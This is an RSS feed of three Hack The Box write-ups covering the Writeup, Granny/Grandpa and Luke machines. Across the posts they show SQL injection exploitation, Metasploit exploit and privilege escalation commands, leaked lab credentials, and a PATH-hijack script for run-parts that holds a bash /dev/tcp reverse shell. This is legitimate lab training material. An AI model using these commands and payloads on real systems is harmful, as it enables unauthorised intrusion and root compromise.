<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Hackthebox Writeups - Medium]]></title>
        <description><![CDATA[Hackthebox retired machine walk-throughs - Medium]]></description>
        <link>https://medium.com/hackthebox-writeups?source=rss----ca903b63597b---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Hackthebox Writeups - Medium</title>
            <link>https://medium.com/hackthebox-writeups?source=rss----ca903b63597b---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 11:54:26 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/hackthebox-writeups" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Writeup]]></title>
            <link>https://medium.com/hackthebox-writeups/writeup-da4ea05ea6a6?source=rss----ca903b63597b---4</link>
            <guid isPermaLink="false">https://medium.com/p/da4ea05ea6a6</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Venkatraman K]]></dc:creator>
            <pubDate>Fri, 25 Oct 2019 23:08:00 GMT</pubDate>
            <atom:updated>2019-10-25T23:08:00.039Z</atom:updated>
            <content:encoded><![CDATA[<p>Writeup is a linux based machine.</p><p><strong>Hints:</strong></p><p>1.Vulnerable software can fetch the required thing for you. Software Info is given in the homepage.</p><p>2.For privilege escalation think about the groups and file may execute in spite of being on two bin directory.</p><p><strong>Detail Walkthrough:</strong></p><p>I started with reconnaissance of the machine through scanning ports and identifying services that are running on this machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*h3EDmtx-_NCrGx_e3eY4uw.png" /></figure><p>As there is something with robots.txt and /writeup/. I opened these on browser and robots.txt did not have that much critical information while /writeup/ had a website. I also viewed the homepage of the application running on this machine. Home page tells us there is some kind of DoS protection for the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HGWESd-24gLliV8nCQMC-w.png" /></figure><p>Which means that we cannot run any script or tool which generates many requests. I looked into the source of this page expecting some juicy information. As expected there was a software name disclosed .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*GQb8q23bRDEYKwAJyJPnjA.png" /></figure><p>It had CMS running on it. To get more information like baner or service version . I used the <strong>whatweb</strong></p><blockquote>whatweb <a href="http://10.10.10.138/writeup/">http://10.10.10.138/writeup/</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pWd-gXuQ6LiQli-EyT3gOw.png" /></figure><p>But i had no version number disclosed. I googled upon the CMS-Made-Simple and found the version as 2.2.10. There was a SQL Injection exploit which is already present with <strong>CVE-</strong><a href="https://nvd.nist.gov/vuln/detail/CVE-2019-9053"><strong>2019–9053</strong></a><strong>. </strong>I got the exploit code from the <a href="https://www.exploit-db.com/exploits/46635">Exploit DB</a>. I ran the exploit with wordlist as rockyou.txt</p><blockquote>Python Intial_Exp.py -u <a href="http://10.10.10.138/writeup/">http://10.10.10.138/writeup/</a> — crack -w /usr/share/wordlists/rockyou.txt</blockquote><p>This fetched the salt hash, username , email id and password</p><p>Username: jkr, Email Id: jkr@writeup.htb, password : raykayjay9</p><p>As there was SSH running, I logged in to the machine using the obtained credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*Y1wczVHNNjnb4_9nEHly_Q.png" /></figure><p>I got the shell and BOOM! got the user.txt. Next to start the enumeration further i used the tool <a href="https://github.com/rebootuser/LinEnum">LinEnum</a>. I hosted this on the server on 8000 using</p><blockquote>python -m SimpleHTTPServer</blockquote><p>Files can be downloaded only on the <strong>/tmp/</strong> directory. I moved to that directory, downloaded the LinEnum file and ran it which gave tons of info. The juciy parts were only mysql and staff group.</p><p>I thought i can enumerate on the configuration of the mysql file which may contain some creds but it was no use so i googled about the staff group on debain.</p><blockquote><strong>staff</strong>: Allows users to add local modifications to the system (/usr/local) without needing root privileges (note that executables in /usr/local/bin are in the PATH variable of any user, and they may “override” the executables in /bin and /usr/bin with the same name). Compare with group “adm”, which is more related to monitoring/security.</blockquote><p>It simply means that staff allows the user to create or modify files on /usr/local/bin without root and if a file on /usr/local/bin and /bin have same name then both files get executed. On echoing the PATH variable it gives info that file in /usr/local/bin executed first (when there is a scenario where both bins contain files with same name)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*I-lse2nrnIi1u6rSKTc_Mg.png" /></figure><p>This can be exploited only if there is a file which gets automatically executed and does not have a absolute path ( means that file must be executed only by calling its name not specifying the entire path ). A good tool to monitor the processes and files running on a linux machine is <a href="https://github.com/DominicBreuker/pspy"><strong>PSPY</strong></a><strong>. </strong>I downloaded it and moved to the machine (using the same process which i used for LinEnum).</p><p>I ran PSPY file and found nothing interesting. I logged on to the machine with <strong>jkr </strong>in a new tab and i monitored the processes on another tab. I found that a file <strong>run-parts </strong>was getting executed by root as soon the user jkr logs in and it was executed using the relative path and it is /bin folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qe4Pfiwq7VjPC9QR7s2Zkg.png" /></figure><p>Thus we can create a file in /usr/local/bin with name as run-parts which need to contain malicious code so that as soon as we login as jkr the file run-parts gets executed and we can get a shell with root privilege.</p><p>I moved to /usr/local/bin folder and created the file <strong>run-parts.</strong></p><blockquote>#!/bin/bash<br>touch /tmp/script-ran.txt<br>bash -i &gt;&amp; /dev/tcp/{YOUR_IP}/{PORT} 0&gt;&amp;1</blockquote><p>You can either do this way or you can generate SSH-keys and place the public key in the ~/.ssh/authorized_keys using a small script with the file name as run-parts and connect to the machine using the key-pair you created.</p><p>This would give a reverse shell to my machine and if this ran successfully the touch command would create a file script-ran.txt in tmp folder so i monitored the tmp folder using the command.</p><blockquote>watch -n 1 ls -la</blockquote><p>This command would display the files with ACL in the folder and would refresh every one second.</p><p>I started a reverse handler using the netcat</p><blockquote>nc -lvnp {PORT}</blockquote><p>I opened another tab and logged in as jkr user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W6N0ocMv3nBDYvdW8YY7ew.png" /></figure><p>BOOM! i got the shell with root access…….</p><p>The <strong>root.txt</strong> flag is in /root folder</p><p>Happy Hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=da4ea05ea6a6" width="1" height="1" alt=""><hr><p><a href="https://medium.com/hackthebox-writeups/writeup-da4ea05ea6a6">Writeup</a> was originally published in <a href="https://medium.com/hackthebox-writeups">Hackthebox Writeups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Granny and Grandpa]]></title>
            <link>https://medium.com/hackthebox-writeups/granny-and-grandpa-3f334deee7a8?source=rss----ca903b63597b---4</link>
            <guid isPermaLink="false">https://medium.com/p/3f334deee7a8</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Venkatraman K]]></dc:creator>
            <pubDate>Tue, 15 Oct 2019 11:50:25 GMT</pubDate>
            <atom:updated>2019-10-15T11:50:25.162Z</atom:updated>
            <content:encoded><![CDATA[<p>These two machines can be solved with same procedures (Insanely Similar) and i would brief you about Granny.This is a windows machine and it’s level is <strong>Easy.</strong> It’s IP is 10.10.10.15.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/30/0*DQcNjZuYH00zshyX" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IuQVekxsF4uSW0ef.png" /></figure><p><strong>Hints:</strong></p><ol><li><em>Start with the port scan,identify its Server version and enumerate lot on it (it’s the gateway)</em></li><li><em>once you get session, use suggester in msfconsole.</em></li></ol><p><strong>Detailed Walkthrough:</strong></p><p>Let’s start with the usual port scan</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/30/0*-AZwRSXlFHmrt8wy" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/0*QufKzkJrT5QEdevx.png" /></figure><p>It’s obvious that it is running an web-app but under construction.<strong> </strong>On searching about the server banner ( microsoft IIS 6.0) it has an exploit in the metasploit itself. <a href="https://www.rapid7.com/db/modules/exploit/windows/iis/iis_webdav_upload_asp">Microsoft IIS WebDAV Write Access Code Execution</a>. So open MSF console:</p><blockquote><em>use exploit/windows/iis/iis_webdav_upload_asp<br>msf exploit(windows/iis/iis_webdav_upload_asp) &gt;set rhost 10.10.10.15 <br>msf exploit(windows/iis/iis_webdav_upload_asp) &gt;run</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/30/0*qrBSkdTWXB74eXZ1" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/0*s21gmgpSbVP9V0AT.png" /></figure><p>After that shell will be opened but with very limited access.</p><p><strong>Privilege Escalation:</strong></p><p>Always remember when you have a meterpreter session and you need to escalate the access then run the <strong>post/multi/recon/local_exploit_suggester </strong>which would give you list of exploits which can be used in this session.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/30/0*sh0h1hYxVyohEXXx" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*y70XHWZbKXnHZ_Xw.png" /></figure><p>At this time use pprFlattenRec Local Privilege Escalation module for making unauthorized access again but as privileged user.</p><p>use exploit/windows/local/ppr_flatten_rec<br>msf exploit(windows/local/ppr_flatten_rec) &gt;set session 1<br>msf exploit(windows/local/ppr_flatten_rec) &gt;set wait 20<br>msf exploit(windows/local/ppr_flatten_rec) &gt; set lhost “YOUR_IP”<br>msf exploit(windows/local/ppr_flatten_rec) &gt; exploit</p><p>BOOM!!! Meterpreter Session with escalated privileges is done ..if not try to migrate the process which is on the first session. Then try to find the <strong>user.txt</strong> and <strong>root.txt. </strong>go to <strong>Documents and Settings</strong> folder you will find the user Lakis(User is harry in <strong>Grandpa</strong>) and Administrator on which <strong>user.txt</strong> and <strong>root.txt</strong> are present..</p><p>Happy Hacking!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3f334deee7a8" width="1" height="1" alt=""><hr><p><a href="https://medium.com/hackthebox-writeups/granny-and-grandpa-3f334deee7a8">Granny and Grandpa</a> was originally published in <a href="https://medium.com/hackthebox-writeups">Hackthebox Writeups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Luke Machine]]></title>
            <link>https://medium.com/hackthebox-writeups/luke-machine-5611e310d7a8?source=rss----ca903b63597b---4</link>
            <guid isPermaLink="false">https://medium.com/p/5611e310d7a8</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Venkatraman K]]></dc:creator>
            <pubDate>Tue, 15 Oct 2019 11:47:27 GMT</pubDate>
            <atom:updated>2019-10-15T11:47:26.918Z</atom:updated>
            <content:encoded><![CDATA[<p>Luke is a Linux like (FreeBSD) machine.</p><p><strong>Hints</strong></p><p>1.Directory listing would help at initial stage</p><p>2. Try to use the creds indirectly</p><p>Hope this suffices if you are only looking for hints.</p><p>As usual I started with the golden rule of scanning ports. This machines has a huge number of Rabitholes which could waste a lot of time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/0*Vn-d9PAkZsBN3vmu.png" /></figure><p>As FTP port is open, I tired to login with default credentials ( anonymous). After successful login i wasn’t able to do much except downloading the for_Chihiro.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/0*I4I93frLs3ONw1ZX.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/0*Pu-fSpNlCUjgrAWz.png" /></figure><p>So i went on to enumerate the next port .Port 80 was open and there is a webapplication running so i used dirbuster (for directory and file listing). To my surprise, there was several login end pts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/0*Qqp-gepqqGQMV99E.png" /></figure><p>I opened the config.php which revealed some credentials….</p><blockquote><em>$dbHost = ‘localhost’; $dbUsername = ‘root’; $dbPassword = ‘Zk6heYCyv6ZE9Xcg’; $db = “login”; $conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) or die(“Connect failed: %s\n”. $conn -&gt; error);</em></blockquote><p>but initially it was of no use as i wasn’t able to login at any end pts with these credentials….I also tired SQLI for bypassing authentication at the login end pts but all went in vain..<br>I started enumerating the PORT 3000 it was running a node.js server and it asked for auth token…I also used dirbuster on this ,it revealed end pts which are only accessible with the auth_token</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/0*sQXaLfhBQonGehO4.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*olXhKw87QAbUyZ6o.png" /></figure><p>Googling about it for sometime gave me the insights of CURL command</p><blockquote><em>curl -s -X POST -H ‘Accept: application/json’ -H ‘Content-Type: application/json’ — data ‘{“username”:”root”,”password”:”Zk6heYCyv6ZE9Xcg”,”rememberMe”:false}’ </em><a href="http://10.10.10.137:3000/login/"><em>http://10.10.10.137:3000/login/</em></a></blockquote><p>I used the credentials of config.php here with this command but i got forbidden so i used admin instead of root (general guessing) . I got the access_token as response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/0*mFI1rRYt5cV965-v.png" /></figure><blockquote><em>curl -H ‘Accept: application/json’ -H “Authorization: Bearer YOUR_TOKEN” </em><a href="http://10.10.10.137:3000/users/admin"><em>http://10.10.10.137:3000/users/admin</em></a><em> (change here for other user)</em></blockquote><p>I used it to fuzz around the server with this command i was able to see administrator credentials..so i used it for getting other user’s creds. There are 4 users admin(super user),derry(web admin),yuri(beta tester),dory(supporter). Connecting with the txt file i got from FTP port (it was from Derry) so i assumed derry credentials are the gateway… I went to /management which i logged in with his credentials ;). i opened config.json from the list of files which gave me the credentials for Ajenti which is running on 8000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8d6jwxfO7bOGCYBb.png" /></figure><p>I logged in on that application,it had an terminal (terminal build with JS) from which i got the user.txt and root.txt</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5611e310d7a8" width="1" height="1" alt=""><hr><p><a href="https://medium.com/hackthebox-writeups/luke-machine-5611e310d7a8">Luke Machine</a> was originally published in <a href="https://medium.com/hackthebox-writeups">Hackthebox Writeups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>